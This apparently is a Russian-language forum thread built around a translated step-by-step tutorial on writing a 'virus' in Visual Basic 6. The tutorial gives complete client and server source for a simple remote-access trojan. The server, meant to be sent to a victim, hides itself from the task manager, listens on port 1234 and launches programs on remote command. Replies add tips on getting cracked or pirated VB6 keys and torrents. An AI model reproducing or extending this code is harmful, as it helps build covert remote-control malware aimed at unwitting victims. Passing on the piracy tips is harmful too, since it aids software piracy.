Как сделать вирус (Шаг за шагом)

В начале скачайте и установите Visual Basic 6.0
Начнём с клиента.
Открываем VB
Выбираем standart.exe

После того как вы выбрали standart.exe у вас появится form1, которая выглядит так:

Добавте один textbox (поле для ввода)
и три кнопки (button)
В свойствах (properties снизу-правый угол) кнопок изменить
caption button 1 на connect
caption button 2 на open msn
caption button 3 на open explorer
В свойствах textbox'a
text: Textbox1 на 127.0.0.1 и установить Alignment на Center
Вот так это будет выглядеть:

Теперь мы должны добавить Winsock.ocx для этого жмём правой кнопкой на toolbox (панель слева) и выбираем добавить компонент (add components) выбираем microsoft winsock control 6.0 (SP6).

Добавим его в свой проект

Теперь добавляем сам код.
Для этого дважды кликаем на кнопку connect. B вбиваем код.

Код:

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 1234
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.SendData "msn"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "ex"
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
End Sub

Private Sub Winsock1_Connect()
Form1.Caption = "Connected To " & Text1.Text
End Sub

С клиентом мы закончили. Сохраните проект.

Теперь опять запустите VB.Также выбираем Standart.exe. Добавляем winsock.ocx control

Дважды кликаем на форму и добавляем следующий код.

PHP:

Private Sub Form_Load()
App.TaskVisible = False 'сделать сервер невидимым для диспетчера задач
Me.Hide 'спрятать форму при запуске
If App.PrevInstance = True Then
Unload Me 'Если приложение уже запущено, то закрыть.
End If
Winsock1.LocalPort = 1234
Winsock1.Listen 'Ожидает соединения на порт 1234
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub



Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data

If data = "msn" Then
On Error Resume Next
'открывает msn messenger на стороне сервера
Shell ("C:\Program Files\MSN Messenger\msnmsgr.exe")
Shell ("C:\Program\MSN Messenger\msnmsgr.exe")
End If

If data = "ex" Then
On Error Resume Next
'открывает explorer
Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
Shell ("C:\Program\Internet Explorer\IEXPLORE.EXE")
End If

End Sub

На этом всё.

Originaly posted By:thegreat1002
Перевод: =<4APAEV>=​

ЗЫ Я так понял у америкосов всё наоборот у них клиент это как у нас сервер, а сервер как у нас клиент. В данном случае жертве посылаем сервер.

 

:idea:a сд-кей подскажешь?

 

tuts,
Скачай с торрента зануленный,или с оффа микростофта с тестовым ключом

 

че ? не понял !

 

Что тут непонятного.
Или качаешь нулёнку (которая не треубет ключа) или берёшь тест.ключ на сайте майкрософта.

 

tuts,
либо все еденици
либо все семёрки
вводишь и всё, я когда винду переустанавливаю при установке VB6 пишу все семёрки...

Правда осого здесь нет, но пригодиться для начинающих

Автору +1

 

Ребят, кто сможет выложить нормальный бэйсик?

 

wswebstudio,Вот торрентс ру. Залил свой торрент файл(У тебя не сьест рейт) _http://rapidshare.com/files/201280185/_torrents.ru_.t91208.torrent.html
MD5: 00771D1F9C6C2ABA3CC341803D48CB65
Скачаешь удали.
_http://rapidshare.com/files/201280185/_torrents.ru_.t91208.torrent.html?killcode=99715305206750850
_http://torrents.ru/forum/viewtopic.php?t=91208

 

Зря ты торрент-файл выложил. Какой-нибудль редиска может с твоим пасскеем начать качать.

 

Ща скачаю..

 

Нечего у них не по другому... Сервер - то к чему конектятся и откуда забирают данные; Клиент - чем конектятся и чем управляют... Так что не надо гнать в этом на буржуев.. Да и не вирь это вовсе, а троян. Из статьи можно почерпнуть только принцип работы траянов (клиент-сервер) но по моему глупо писать на VB их, размер большой, скрыть сложно, сделать обход файрвола тоже сложно... Но в целом за старание и скриншоты +1